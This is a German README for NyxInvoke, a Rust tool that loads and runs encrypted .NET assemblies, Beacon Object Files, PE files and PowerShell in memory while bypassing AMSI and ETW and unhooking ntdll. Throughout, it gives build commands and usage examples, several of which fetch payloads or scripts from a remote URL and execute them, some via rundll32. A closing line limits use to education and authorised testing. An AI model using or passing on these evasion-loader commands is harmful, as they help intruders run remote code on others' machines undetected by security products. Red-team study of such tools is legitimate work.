
NyxInvoke is a Rust CLI tool for running .NET assemblies, PowerShell, and BOFs with Patchless AMSI and ETW bypass features. with Dual-build support
NyxInvoke ist ein vielseitiges, in Rust geschriebenes Tool zum Ausführen von .NET-Assemblys, PowerShell-Befehlen/-Skripten, Beacon Object Files (BOFs) und PE-Dateien mit integrierter Ntdll-Entkopplung sowie patchless AMSI- und ETW-Umgehungsfunktionen. Es kann entweder als eigenständige ausführbare Datei oder als DLL kompiliert werden.
NyxInvoke kann entweder als ausführbare Datei oder als DLL erstellt werden. Verwenden Sie die folgenden Befehle:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib
Um integrierte CLR-, BOF- oder PE-Daten einzubeziehen, fügen Sie die entsprechenden Features hinzu:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke
oder
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib
Die ausführbare Datei unterstützt drei Hauptbetriebsmodi:
NyxInvoke.exe <modus> [OPTIONEN]
Wobei <modus> einer der folgenden ist: clr, ps, bof oder pe.
Wenn als DLL kompiliert, kann NyxInvoke mit rundll32 ausgeführt werden. Die Syntax lautet:
rundll32.exe NyxInvoke.dll,NyxInvoke <modus> [OPTIONEN]
Führen Sie Common Language Runtime (CLR)-Assemblys aus
Verwendung: NyxInvoke.exe clr [OPTIONEN]
Optionen:
-a, --args <ARGS>... An die Assembly zu übergebende Argumente
-b, --base <URL_OR_PATH> Basis-URL oder -Pfad für Ressourcen
-k, --key <KEY_FILE> Pfad zur Verschlüsselungsschlüsseldatei
-i, --iv <IV_FILE> Pfad zur Initialisierungsvektor-Datei (IV)
-f, --assembly <ASSEMBLY_FILE> Pfad oder URL zur verschlüsselten Assembly-Datei, die ausgeführt werden soll
-u, --unencrypted Gibt an, ob die Assembly unverschlüsselt ist (Standard ist verschlüsselt)
-h, --help Hilfe anzeigen (weitere Informationen mit '--help')
Beispiel: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Führen Sie Beacon Object Files (BOF) aus
Verwendung: NyxInvoke.exe bof [OPTIONEN]
Optionen:
-a, --args <ARGS>... An das BOF zu übergebende Argumente
-b, --base <URL_OR_PATH> Basis-URL oder -Pfad für Ressourcen
-k, --key <KEY_FILE> Pfad zur Verschlüsselungsschlüsseldatei
-i, --iv <IV_FILE> Pfad zur Initialisierungsvektor-Datei (IV)
-f, --bof <BOF_FILE> Pfad oder URL zur verschlüsselten BOF-Datei, die ausgeführt werden soll
-u, --unencrypted Gibt an, ob das BOF unverschlüsselt ist (Standard ist verschlüsselt)
-h, --help Hilfe anzeigen (weitere Informationen mit '--help')
Beispiel: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Führen Sie Portable Executable (PE)-Dateien aus
Verwendung: NyxInvoke.exe pe [OPTIONEN]
Optionen:
-a, --args <ARGS>... An die PE zu übergebende Argumente
-b, --base <URL_OR_PATH> Basis-URL oder -Pfad für Ressourcen
-k, --key <KEY_FILE> Pfad zur Verschlüsselungsschlüsseldatei
-i, --iv <IV_FILE> Pfad zur Initialisierungsvektor-Datei (IV)
-f, --pe <PE_FILE> Pfad oder URL zur verschlüsselten PE-Datei, die ausgeführt werden soll
-u, --unencrypted Gibt an, ob die PE unverschlüsselt ist (Standard ist verschlüsselt)
-h, --help Hilfe anzeigen (weitere Informationen mit '--help')
Beispiel: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Führen Sie PowerShell-Befehle oder -Skripte aus
Verwendung: NyxInvoke.exe ps [OPTIONEN]
Optionen:
-c, --command <PS_COMMAND> PowerShell-Befehl, der ausgeführt werden soll
-s, --script <PS_SCRIPT> Pfad oder URL zum PowerShell-Skript, das ausgeführt werden soll
-h, --help Hilfe anzeigen (weitere Informationen mit '--help')
Beispiele:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1
CLR-Modus (Remote-Ausführung):
NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
PowerShell-Modus (Skriptausführung):
NyxInvoke.exe ps --script C:\path\to\script.ps1
BOF-Modus (Lokale Ausführung):
NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
PE-Modus (Kompilierte Ausführung):
NyxInvoke.exe pe --args arg1
CLR-Modus (Remote-Ausführung):
rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
PowerShell-Modus (Direkte Befehlsausführung):
rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
BOF-Modus (Kompilierte Ausführung):
rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
PE-Modus (Lokale Ausführung unverschlüsselt):
rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
Im Verzeichnis resources finden Sie mehrere Dateien, um die Funktionalität von NyxInvoke zu testen:
Verschlüsselte CLR-Assembly (Seatbelt):
clr_data.encNyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
Verschlüsseltes BOF (Directory Listing):
bof_data.encNyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
Verschlüsselte PE (Message Box):
pe_data.encNyxInvoke.exe pe
PowerShell (Message Box):
ps.ps1NyxInvoke.exe ps -s http://example.com/ps.ps1




Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Tests. Stellen Sie sicher, dass Sie vor der Verwendung in einer Umgebung über die entsprechenden Berechtigungen verfügen.